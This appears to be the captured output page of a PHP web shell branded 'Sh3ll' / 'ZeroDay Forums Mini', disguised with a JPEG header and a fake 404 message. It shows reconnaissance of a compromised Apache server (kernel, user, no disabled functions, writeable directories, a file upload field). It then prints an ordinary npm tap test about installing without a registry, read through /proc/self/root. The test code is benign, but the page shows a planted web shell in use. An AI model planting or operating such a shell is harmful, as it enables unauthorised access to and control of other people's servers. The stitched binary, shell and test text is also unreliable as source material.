����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/install-without-registry-config.js
const t = require('tap')
const { pkg, npm } = require('../common-tap.js')
const { writeFileSync, statSync, readFileSync } = require('fs')
const mkdirp = require('mkdirp')
const proj = pkg + '/project'
const dep = pkg + '/dep'
mkdirp.sync(proj)
mkdirp.sync(dep)
writeFileSync(dep + '/package.json', JSON.stringify({
  name: 'dependency',
  version: '1.2.3'
}))
writeFileSync(proj + '/package.json', JSON.stringify({
  name: 'project',
  version: '4.2.0'
}))

const runTest = t => npm([
  'install',
  '../dep',
  '--no-registry'
], { cwd: proj }).then(([code, out, err]) => {
  t.equal(code, 0)
  t.match(out, /^\+ dependency@1\.2\.3\n.* 1 package in [0-9.]+m?s\n$/)
  t.equal(err, '')
  const data = readFileSync(proj + '/node_modules/dependency/package.json', 'utf8')
  t.same(JSON.parse(data), {
    name: 'dependency',
    version: '1.2.3'
  }, 'dep got installed')
  t.ok(statSync(proj + '/package-lock.json').isFile(), 'package-lock exists')
})

t.test('install without a registry, no package lock', t => runTest(t))
t.test('install without a registry, with package lock', t => runTest(t))

ZeroDay Forums Mini